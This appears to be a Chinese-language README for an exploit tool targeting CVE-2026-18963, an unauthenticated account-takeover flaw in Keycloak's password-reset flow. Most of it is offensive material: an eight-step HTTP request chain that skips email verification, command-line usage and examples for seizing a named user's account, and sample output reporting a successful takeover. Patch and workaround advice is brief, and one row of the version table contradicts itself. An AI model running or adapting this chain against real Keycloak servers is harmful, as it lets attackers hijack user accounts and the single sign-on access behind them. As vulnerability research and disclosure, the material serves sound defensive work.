| 字段 | 值 |
|---|
| CVE | CVE-2026-18963 |
| CVSS 评分 | 9.1(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — 弱密码恢复机制 |
| 受影响版本 | Keycloak 26.0.0 – 26.7.1 |
| 已修复版本 | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| 组件 | keycloak-services(重置凭据流程) |
| 参考 | https://github.com/keycloak/keycloak/issues/51833 |
两个缺陷被串联利用:
缺陷 1 — tryAnotherWay 处理器将注释
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 存储在认证会话中,但未将其限定到任何执行 ID。
缺陷 2 — ResetCredentialEmail.action() 在存在该注释时直接调用 context.success()(完全跳过电子邮件验证),而不检查 ACTION_TOKEN_USER_ID。
1. GET /realms/{realm}/protocol/openid-connect/auth
→ 建立 OIDC 会话,提取忘记密码链接
2. GET /login-actions/reset-credentials?...
→ 加载重置凭据表单
3. POST tryAnotherWay=on
→ 设置 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED 注释(缺陷 1)
4. POST username={target} → 选择器表单
→ 将目标用户绑定到认证会话,触发电子邮件步骤
5. GET /login-actions/restart?...
→ 可选:镜像浏览器会话轮询
6. GET /login-actions/reset-credentials?... (与步骤 2 相同的 URL)
→ 过期的选择器注释仍然存在 → 凭据选择器重新出现
7. POST username={target} → 过期的选择器
→ ResetCredentialEmail 看到该注释,调用 context.success()(缺陷 2)
→ 流程直接推进到 UPDATE_PASSWORD — 不发送电子邮件
8. POST password-new={attacker_password}
→ 账户被接管
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url Keycloak 基础 URL(必填)
--realm 目标 realm(默认:master)
--username 要接管的账户的用户名或电子邮件(必填)
--new-password 要在目标账户上设置的密码(必填)
--client-id OIDC 客户端 ID(默认:account)
--auth-prefix auto | new | old
auto = 自动检测(默认)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose 打印完整 HTTP 跟踪
--skip-version-check
# 自动检测新旧 Keycloak URL 前缀
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# 强制使用旧版 /auth/ 前缀(Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# 详细 HTTP 跟踪
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak 未认证账户接管
用户 : [email protected]
[步骤 0] 检测版本与路径前缀
[+] 路径前缀:'/auth' → 已检测
[?] 未检测到版本 — 继续执行。
目标 : https://sso.example.com/auth/realms/myrealm
[步骤 1] 通过 OIDC 忘记密码链接打开重置凭据表单
[+] OIDC 会话已建立
[+] 重置凭据表单已加载
[步骤 2] POST tryAnotherWay=on → 设置选择器注释(缺陷 1)
[+] 已收到凭据选择器表单
[步骤 3] POST username='[email protected]' → 绑定用户,触发电子邮件步骤
[+] 已触发电子邮件步骤 — 找到会话轮询 URL
[步骤 4] GET 会话轮询路径(可选)
[步骤 5] 重新访问忘记密码 URL → 获取过期的选择器
[+] 已收到过期的凭据选择器表单
[步骤 6] POST username 到过期选择器 → 触发绕过(缺陷 2)
[+] 绕过成功 — 已收到更新密码表单
[步骤 7] 设置新密码
============================================================
[+] 成功 — 账户接管完成
[+] 目标 : https://sso.example.com/auth/realms/myrealm
[+] 用户 : [email protected]
[+] 密码 : Pwn3d2026!
============================================================
| Keycloak 版本 | URL 前缀 | 存在漏洞 |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ 若在 26.x 范围内 |
| ≥ 17.x | /realms/ | ✅ 若 < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | 任意 | ❌ 已修复 |
该脚本会自动检测目标使用的是旧版 /auth/ 前缀还是现代路径,因此无需手动配置即可同时适用于新旧部署。
补丁(推荐): 升级到以下已修复版本之一:
26.4.15 或 26.4.x 系列中的更高版本26.6.6 或 26.6.x 系列中的更高版本26.7.2 或 26.7.x 系列中的更高版本26.8.0 或更高版本临时解决方案: 在所有 realm 中禁用忘记密码功能:
Realm 设置 → 登录 → 忘记密码 → 关闭
此工具仅用于授权的安全测试和教育目的。请仅对您拥有或已获得明确书面许可的系统使用。